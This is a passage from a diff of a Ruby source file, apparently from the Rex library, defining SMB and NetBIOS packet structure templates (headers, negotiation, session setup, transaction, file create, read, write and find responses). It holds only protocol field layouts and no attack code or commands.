).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TRANS_RES_PKT = self.make_nbs(SMB_TRANS_RES_HDR_PKT) + + SMB_TRANS_RES_PKT_LENGTH = SMB_HDR_LENGTH + 22 + + # A SMB template for SMB Transaction2 requests + SMB_TRANS2_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ParamCountTotal', 0 ], + [ 'uint16v', 'DataCountTotal', 0 ], + [ 'uint16v', 'ParamCountMax', 0 ], + [ 'uint16v', 'DataCountMax', 0 ], + [ 'uint8', 'SetupCountMax', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint32v', 'Timeout', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ParamCount', 0 ], + [ 'uint16v', 'ParamOffset', 0 ], + [ 'uint16v', 'DataCount', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint8', 'Reserved3', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_TRANS2_PKT = self.make_nbs(SMB_TRANS2_HDR_PKT) + + + # A SMB template for SMB NTTransaction requests + SMB_NTTRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'SetupCountMax', 0 ], + [ 'uint16v', 'Reserved1', 0 ], + [ 'uint32v', 'ParamCountTotal', 0 ], + [ 'uint32v', 'DataCountTotal', 0 ], + [ 'uint32v', 'ParamCountMax', 0 ], + [ 'uint32v', 'DataCountMax', 0 ], + [ 'uint32v', 'ParamCount', 0 ], + [ 'uint32v', 'ParamOffset', 0 ], + [ 'uint32v', 'DataCount', 0 ], + [ 'uint32v', 'DataOffset', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'uint16v', 'Subcommand', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NTTRANS_PKT = self.make_nbs(SMB_NTTRANS_HDR_PKT) + + + # A SMB template for SMB NTTransaction responses + SMB_NTTRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint32v', 'ParamCountTotal', 0 ], + [ 'uint32v', 'DataCountTotal', 0 ], + [ 'uint32v', 'ParamCount', 0 ], + [ 'uint32v', 'ParamOffset', 0 ], + [ 'uint32v', 'ParamDisplace', 0 ], + [ 'uint32v', 'DataCount', 0 ], + [ 'uint32v', 'DataOffset', 0 ], + [ 'uint32v', 'DataDisplace', 0 ], + [ 'uint8', 'Reserved3', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NTTRANS_RES_PKT = self.make_nbs(SMB_NTTRANS_RES_HDR_PKT) + + # A SMB template for SMB NTTransaction_Secondary requests + SMB_NTTRANS_SECONDARY_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint32v', 'ParamCountTotal', 0 ], + [ 'uint32v', 'DataCountTotal', 0 ], + [ 'uint32v', 'ParamCount', 0 ], + [ 'uint32v', 'ParamOffset', 0 ], + [ 'uint32v', 'ParamDisplace', 0 ], + [ 'uint32v', 'DataCount', 0 ], + [ 'uint32v', 'DataOffset', 0 ], + [ 'uint32v', 'DataDisplace', 0 ], + [ 'uint8', 'SetupCount', 0 ], + [ 'string', 'SetupData', nil, '' ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_NTTRANS_SECONDARY_PKT = self.make_nbs(SMB_NTTRANS_SECONDARY_HDR_PKT) + + # A SMB template for SMB Create requests + SMB_CREATE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint8', 'Reserved2', 0 ], + [ 'uint16v', 'FileNameLen', 0 ], + [ 'uint32v', 'CreateFlags', 0 ], + [ 'uint32v', 'RootFileID', 0 ], + [ 'uint32v', 'AccessMask', 0 ], + [ 'uint32v', 'AllocLow', 0 ], + [ 'uint32v', 'AllocHigh', 0 ], + [ 'uint32v', 'Attributes', 0 ], + [ 'uint32v', 'ShareAccess', 0 ], + [ 'uint32v', 'Disposition', 0 ], + [ 'uint32v', 'CreateOptions', 0 ], + [ 'uint32v', 'Impersonation', 0 ], + [ 'uint8', 'SecurityFlags', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CREATE_PKT = self.make_nbs(SMB_CREATE_HDR_PKT) + + + # A SMB template for SMB Create responses + SMB_CREATE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint8', 'OpLock', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Action', 0 ], + [ 'uint32v', 'CreateTimeLow', 0 ], + [ 'uint32v', 'CreateTimeHigh', 0 ], + [ 'uint32v', 'AccessTimeLow', 0 ], + [ 'uint32v', 'AccessTimeHigh', 0 ], + [ 'uint32v', 'WriteTimeLow', 0 ], + [ 'uint32v', 'WriteTimeHigh', 0 ], + [ 'uint32v', 'ChangeTimeLow', 0 ], + [ 'uint32v', 'ChangeTimeHigh', 0 ], + [ 'uint32v', 'Attributes', 0 ], + [ 'uint32v', 'AllocLow', 0 ], + [ 'uint32v', 'AllocHigh', 0 ], + [ 'uint32v', 'EOFLow', 0 ], + [ 'uint32v', 'EOFHigh', 0 ], + [ 'uint16v', 'FileType', 0 ], + [ 'uint16v', 'IPCState', 0 ], + [ 'uint8', 'IsDirectory', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CREATE_RES_PKT = self.make_nbs(SMB_CREATE_RES_HDR_PKT) + + # A SMB template for SMB Create ANDX responses + SMB_CREATE_ANDX_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint8', 'OpLock', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Action', 0 ], + [ 'uint32v', 'CreateTimeLow', 0 ], + [ 'uint32v', 'CreateTimeHigh', 0 ], + [ 'uint32v', 'AccessTimeLow', 0 ], + [ 'uint32v', 'AccessTimeHigh', 0 ], + [ 'uint32v', 'WriteTimeLow', 0 ], + [ 'uint32v', 'WriteTimeHigh', 0 ], + [ 'uint32v', 'ChangeTimeLow', 0 ], + [ 'uint32v', 'ChangeTimeHigh', 0 ], + [ 'uint32v', 'Attributes', 0 ], + [ 'uint32v', 'AllocLow', 0 ], + [ 'uint32v', 'AllocHigh', 0 ], + [ 'uint32v', 'EOFLow', 0 ], + [ 'uint32v', 'EOFHigh', 0 ], + [ 'uint16v', 'FileType', 0 ], + [ 'uint16v', 'IPCState', 0 ], + [ 'uint8', 'IsDirectory', 0 ], + [ 'string', 'VolumeGUID', 16, '', "\x00"], + [ 'uint64v', '64bitFID', 0 ], + [ 'uint32v', 'MaxAccess', 0 ], + [ 'uint32v', 'GuestAccess', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CREATE_ANDX_RES_PKT = self.make_nbs(SMB_CREATE_ANDX_RES_HDR_PKT) + + # A SMB template for SMB Write requests + SMB_WRITE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Offset', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint16v', 'WriteMode', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint16v', 'DataLenHigh', 0 ], + [ 'uint16v', 'DataLenLow', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint32v', 'DataOffsetHigh', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_WRITE_PKT = self.make_nbs(SMB_WRITE_HDR_PKT) + + + # A SMB template for SMB Write responses + SMB_WRITE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'CountLow', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint16v', 'CountHigh', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_WRITE_RES_PKT = self.make_nbs(SMB_WRITE_RES_HDR_PKT) + + + # A SMB template for SMB OPEN requests + SMB_OPEN_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Flags', 0 ], + [ 'uint16v', 'Access', 0 ], + [ 'uint16v', 'SearchAttributes', 0 ], + [ 'uint16v', 'FileAttributes', 0 ], + [ 'uint32v', 'CreateTime', 0 ], + [ 'uint16v', 'OpenFunction', 0 ], + [ 'uint32v', 'AllocSize', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint32v', 'Reserved3', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_OPEN_PKT = self.make_nbs(SMB_OPEN_HDR_PKT) + + + # A SMB template for SMB OPEN responses + SMB_OPEN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint16v', 'FileAttributes', 0 ], + [ 'uint32v', 'WriteTime', 0 ], + [ 'uint32v', 'FileSize', 0 ], + [ 'uint16v', 'FileAccess', 0 ], + [ 'uint16v', 'FileType', 0 ], + [ 'uint16v', 'IPCState', 0 ], + [ 'uint16v', 'Action', 0 ], + [ 'uint32v', 'ServerFileID', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_OPEN_RES_PKT = self.make_nbs(SMB_OPEN_RES_HDR_PKT) + + + # A SMB template for SMB Close requests + SMB_CLOSE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'LastWrite', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CLOSE_PKT = self.make_nbs(SMB_CLOSE_HDR_PKT) + + + # A SMB template for SMB Close responses + SMB_CLOSE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_CLOSE_RES_PKT = self.make_nbs(SMB_CLOSE_RES_HDR_PKT) + + + # A SMB template for SMB Delete requests + SMB_DELETE_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'SearchAttribute', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'uint8', 'BufferFormat', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_DELETE_PKT = self.make_nbs(SMB_DELETE_HDR_PKT) + + + # A SMB template for SMB Delete responses + SMB_DELETE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_DELETE_RES_PKT = self.make_nbs(SMB_DELETE_RES_HDR_PKT) + + + + # A SMB template for SMB Read requests + SMB_READ_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'FileID', 0 ], + [ 'uint32v', 'Offset', 0 ], + [ 'uint16v', 'MaxCountLow', 0 ], + [ 'uint16v', 'MinCount', 0 ], + [ 'uint32v', 'Reserved2', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint32v', 'MaxCountHigh', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_READ_PKT = self.make_nbs(SMB_READ_HDR_PKT) + + + # A SMB template for SMB Read responses + SMB_READ_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint8', 'AndX', 0 ], + [ 'uint8', 'Reserved1', 0 ], + [ 'uint16v', 'AndXOffset', 0 ], + [ 'uint16v', 'Remaining', 0 ], + [ 'uint16v', 'DataCompaction', 0 ], + [ 'uint16v', 'Reserved2', 0 ], + [ 'uint16v', 'DataLenLow', 0 ], + [ 'uint16v', 'DataOffset', 0 ], + [ 'uint32v', 'DataLenHigh', 0 ], + [ 'uint32v', 'Reserved3', 0 ], + [ 'uint16v', 'Reserved4', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_READ_RES_PKT = self.make_nbs(SMB_READ_RES_HDR_PKT) + + SMB_READ_RES_HDR_PKT_LENGTH = SMB_HDR_LENGTH + 26 + + # A SMB template for SMB Search requests + SMB_SEARCH_HDR_PKT = Rex::Struct2::CStructTemplate.new( + [ 'template', 'SMB', SMB_HDR ], + [ 'uint16v', 'MaxCount', 0 ], + [ 'uint16v', 'Attributes', 0 ], + [ 'uint16v', 'ByteCount', 0 ], + [ 'string', 'Payload', nil, '' ] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] + ) + SMB_SEARCH_PKT = self.make_nbs(SMB_SEARCH_HDR_PKT) + + # A template for SMB TRANS2_FIND_FIRST response parameters + SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'SID', 0], + ['uint16v', 'SearchCount', 0], + ['uint16v', 'EndOfSearch', 0], + ['uint16v', 'EaErrorOffset', 0], + ['uint16v', 'LastNameOffset', 0] + ) + + # A template for SMB_FIND_FILE_BOTH_DIRECTORY_INFO Find information level + SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'NextEntryOffset', 0], + ['uint32v', 'FileIndex', 0], + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint64v', 'EndOfFile', 0], + ['uint64v', 'AllocationSize', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'FileNameLength', 0], + ['uint32v', 'EaSize', 0], + ['uint8', 'ShortNameLength', 0], + ['uint8', 'Reserved', 0], + ['string', 'ShortName', 24, '', "\x00"], + ['string', 'FileName', nil, '' ] + ).create_restraints( + ['FileName', 'FileNameLength', nil, true] + ) + + SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH = 94 + + # A template for SMB_FIND_FILE_BOTH_DIRECTORY_INFO Find information level + SMB_FIND_FILE_NAMES_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'NextEntryOffset', 0], + ['uint32v', 'FileIndex', 0], + ['uint32v', 'FileNameLength', 0], + ['string', 'FileName', nil, '' ] + ).create_restraints( + ['FileName', 'FileNameLength', nil, true] + ) + + SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH = 12 + + # A template for SMB_FIND_FILE_FULL_DIRECTORY_INFO Find information level + SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'NextEntryOffset', 0], + ['uint32v', 'FileIndex', 0], + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint64v', 'EndOfFile', 0], + ['uint64v', 'AllocationSize', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'FileNameLength', 0], + ['uint32v', 'EaSize', 0], + ['string', 'FileName', nil, '' ] + ).create_restraints( + ['FileName', 'FileNameLength', nil, true] + ) + + SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH = 68 + + # A template for SMB FIND_FIRST2 TRANS2 response parameters + SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'EaErrorOffset', 0] + ) + + # A template for SMB_QUERY_FILE_NETWORK_INFO query path information level + SMB_QUERY_FILE_NETWORK_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint64v', 'AllocationSize', 0], + ['uint64v', 'EndOfFile', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'Reserved', 0] + ) + + SMB_QUERY_FILE_NETWORK_INFO_HDR_LENGTH = 56 + + # A template for SMB_QUERY_FILE_BASIC_INFO query path information level + SMB_QUERY_FILE_BASIC_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint32v', 'loCreationTime', 0], + ['uint32v', 'hiCreationTime', 0], + ['uint32v', 'loLastAccessTime', 0], + ['uint32v', 'hiLastAccessTime', 0], + ['uint32v', 'loLastWriteTime', 0], + ['uint32v', 'hiLastWriteTime', 0], + ['uint32v', 'loLastChangeTime', 0], + ['uint32v', 'hiLastChangeTime', 0], + ['uint32v', 'ExtFileAttributes', 0], + ['uint32v', 'Reserved', 0] + ) + + SMB_QUERY_FILE_BASIC_INFO_HDR_LENGTH = 40 + + # A template for SMB_QUERY_FILE_STANDARD_INFO query path information level + SMB_QUERY_FILE_STANDARD_INFO_HDR = Rex::Struct2::CStructTemplate.new( + ['uint64v', 'AllocationSize', 0], + ['uint64v', 'EndOfFile', 0], + ['uint32v', 'NumberOfLinks', 0], + ['uint8', 'DeletePending', 0], + ['uint8', 'Directory', 0] + ) + + SMB_QUERY_FILE_STANDARD_INFO_HDR_LENGTH = 22 + + # A template for SMB_Data blocks of the SMB_COM_TRANSACTION2 requests + SMB_DATA_TRANS2 = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'SubCommand', 0], + ['uint16v', 'ByteCount', 0], + ['string', 'Parameters', nil, ''] + ).create_restraints( + ['Parameters', 'ByteCount', nil, true] + ) + + # A template for SMB_Parameters blocks of the SMB_COM_TRANSACTION2 QUERY_PATH_INFO responses + SMB_TRANS2_QUERY_PATH_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'InformationLevel', 0], + ['uint32v', 'Reserved', 0], + ['string', 'FileName', nil, ''] + ) + + # A template for SMB_Parameters blocks of the SMB_COM_TRANSACTION2 QUERY_FILE_INFO responses + SMB_TRANS2_QUERY_FILE_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'FID', 0], + ['uint16v', 'InformationLevel', 0] + ) + + # A template for SMB_Parameters blocks of the SMB_COM_TRANSACTION2 FIND_FIRST2 responses + SMB_TRANS2_FIND_FIRST2_PARAMETERS = Rex::Struct2::CStructTemplate.new( + ['uint16v', 'SearchAttributes', 0], + ['uint16v', 'SearchCount', 0], + ['uint16v', 'Flags', 0], + ['uint16v', 'InformationLevel', 0], + ['uint32v', 'SearchStorageType', 0], + ['string', 'FileName', nil, ''] + ) + + # A template for SMB Tree Connect commands in responses + SMB_TREE_CONN_ANDX_RES_PKT = Rex::Struct2::CStructTemplate.new( + ['uint8', 'WordCount', 0], + ['uint8', 'AndXCommand', 0], + ['uint8', 'AndXReserved', 0], + ['uint16v', 'AndXOffset', 0], + ['uint16v', 'OptionalSupport', 0], + ['uint32v', 'AccessRights', 0], + ['uint32v', 'GuestAccessRights', 0], + ['uint16v', 'ByteCount', 0], + ['string', 'Payload', nil, ''] + ).create_restraints( + [ 'Payload', 'ByteCount', nil, true ] ) -end - - -# A raw NetBIOS session template -NBRAW_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'string', 'Payload', nil, ''] -) -NBRAW_PKT = self.make_nbs(NBRAW_HDR_PKT) - - -# The SMB header template -SMB_HDR = Rex::Struct2::CStructTemplate.new( - [ 'uint32n', 'Magic', 0xff534d42 ], - [ 'uint8', 'Command', 0 ], - [ 'uint32v', 'ErrorClass', 0 ], - [ 'uint8', 'Flags1', 0 ], - [ 'uint16v', 'Flags2', 0 ], - [ 'uint16v', 'ProcessIDHigh', 0 ], - [ 'uint32v', 'Signature1', 0 ], - [ 'uint32v', 'Signature2', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint16v', 'TreeID', 0 ], - [ 'uint16v', 'ProcessID', 0 ], - [ 'uint16v', 'UserID', 0 ], - [ 'uint16v', 'MultiplexID', 0 ], - [ 'uint8', 'WordCount', 0 ] -) - - -# The SMB2 header template -SMB2_HDR = Rex::Struct2::CStructTemplate.new( - [ 'uint32n', 'Magic', 0xfe534d42 ], - [ 'uint16v', 'HeaderLen', 64 ], - [ 'uint16v', 'Reserved0', 0 ], - [ 'uint32v', 'NTStatus', 0 ], - - [ 'uint16v', 'Opcode', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - - [ 'uint16v', 'Flags1', 0 ], - [ 'uint16v', 'Flags2', 0 ], - - [ 'uint32v', 'ChainOffset', 0 ], - - [ 'uint32v', 'SequenceHigh', 0 ], - [ 'uint32v', 'SequenceLow', 0 ], - - [ 'uint32v', 'ProcessID', 0 ], - [ 'uint32v', 'TreeID', 0 ], - [ 'uint32v', 'UserIDHigh', 0 ], - [ 'uint32v', 'UserIDLow', 0 ], - - [ 'uint32v', 'SignatureA', 0 ], - [ 'uint32v', 'SignatureB', 0 ], - [ 'uint32v', 'SignatureC', 0 ], - [ 'uint32v', 'SignatureD', 0 ], - [ 'string', 'Payload', nil, ''] -) - -# A basic SMB template to read all responses -SMB_BASE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_BASE_PKT = self.make_nbs(SMB_BASE_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation -SMB_NEG_HDR_PKT = Rex::Struct2::CStructTemplate.new( - - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NEG_PKT = self.make_nbs(SMB_NEG_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation responses (LANMAN) -SMB_NEG_RES_LM_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'Dialect', 0 ], - [ 'uint16v', 'SecurityMode', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'MaxVCS', 0 ], - [ 'uint16v', 'RawMode', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'DosTime', 0 ], - [ 'uint16v', 'DosDate', 0 ], - [ 'uint16v', 'Timezone', 0 ], - [ 'uint16v', 'KeyLength', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'EncryptionKey', nil, '' ] -).create_restraints( - [ 'EncryptionKey', 'ByteCount', nil, true ] -) -SMB_NEG_RES_LM_PKT = self.make_nbs(SMB_NEG_RES_LM_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation responses (NTLM) -SMB_NEG_RES_NT_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'Dialect', 0 ], - [ 'uint8', 'SecurityMode', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'MaxVCS', 0 ], - [ 'uint32v', 'MaxBuff', 0 ], - [ 'uint32v', 'MaxRaw', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint32v', 'Capabilities', 0 ], - [ 'uint32v', 'SystemTimeLow', 0 ], - [ 'uint32v', 'SystemTimeHigh', 0 ], - [ 'uint16v', 'ServerTimeZone', 0 ], - [ 'uint8', 'KeyLength', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NEG_RES_NT_PKT = self.make_nbs(SMB_NEG_RES_NT_HDR_PKT) - - -# A SMB template for SMB Dialect negotiation responses (ERROR) -SMB_NEG_RES_ERR_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'Dialect', 0 ], - [ 'uint16v', 'ByteCount', 0 ] -) -SMB_NEG_RES_ERR_PKT = self.make_nbs(SMB_NEG_RES_ERR_HDR_PKT) - - -# A SMB template for SMB Session Setup responses (LANMAN/NTLMV1) -SMB_SETUP_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Action', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_RES_PKT = self.make_nbs(SMB_SETUP_RES_HDR_PKT) - - -# A SMB template for SMB Session Setup requests (LANMAN) -SMB_SETUP_LANMAN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'VCNum', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'PasswordLen', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_LANMAN_PKT = self.make_nbs(SMB_SETUP_LANMAN_HDR_PKT) - - -# A SMB template for SMB Session Setup requests (NTLMV1) -SMB_SETUP_NTLMV1_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 